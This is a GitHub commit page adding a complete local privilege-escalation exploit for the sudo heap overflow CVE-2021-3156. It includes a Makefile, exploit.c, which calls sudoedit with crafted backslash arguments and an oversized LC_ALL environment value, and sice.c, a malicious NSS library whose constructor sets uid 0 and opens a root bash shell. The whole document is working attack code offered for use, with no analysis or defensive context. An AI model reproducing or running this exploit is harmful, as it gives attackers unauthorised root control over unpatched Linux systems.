Skip to content

Commit 43d9a2b

Browse files
committed
Exploit one shot for CVE-2021-3156
1 parent e4f9db1 commit 43d9a2b

File tree

3 files changed

+66
-0
lines changed

3 files changed

+66
-0
lines changed

CVE-2021-3156_one_shot/Makefile

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
all:
2+
gcc exploit.c -o exploit
3+
mkdir libnss_X
4+
gcc -g -fPIC -shared sice.c -o libnss_X/X.so.2

CVE-2021-3156_one_shot/exploit.c

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
#include <stdio.h>
2+
#include <string.h>
3+
#include <stdlib.h>
4+
#include <stdint.h>
5+
#include <sys/stat.h>
6+
#include <stdlib.h>
7+
8+
char * str_repeat(char a, size_t n) {
9+
char * s = malloc(n+1);
10+
for(int i=0;i<n;++i)
11+
s[i] = a;
12+
s[n] = 0;
13+
return s;
14+
}
15+
16+
char * concat(const char * a, const char * b) {
17+
size_t len_a = strlen(a);
18+
size_t len_b = strlen(b);
19+
size_t size = len_a + len_b;
20+
21+
char * s = malloc(size+1);
22+
int i;
23+
24+
for(i=0;i<len_a;++i) s[i] = a[i];
25+
for(i=0;i<len_b;++i) s[len_a+i] = b[i];
26+
s[size] = 0;
27+
return s;
28+
}
29+
30+
int main() {
31+
char *env[] = {
32+
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
33+
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
34+
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
35+
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
36+
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
37+
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
38+
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
39+
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
40+
"X/X",
41+
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
42+
NULL
43+
};
44+
45+
char * a = concat(str_repeat('A', 0x70),"\\");
46+
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
47+
execve(argv[0], argv, env);
48+
49+
puts("Execve failed");
50+
exit(1);
51+
}

CVE-2021-3156_one_shot/sice.c

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
#include <unistd.h>
2+
#include <stdlib.h>
3+
#include <stdio.h>
4+
5+
__attribute((constructor))
6+
static void sice() {
7+
setuid(0);
8+
system("id");
9+
system("bash");
10+
exit(0);
11+
}

0 commit comments

Comments
 (0)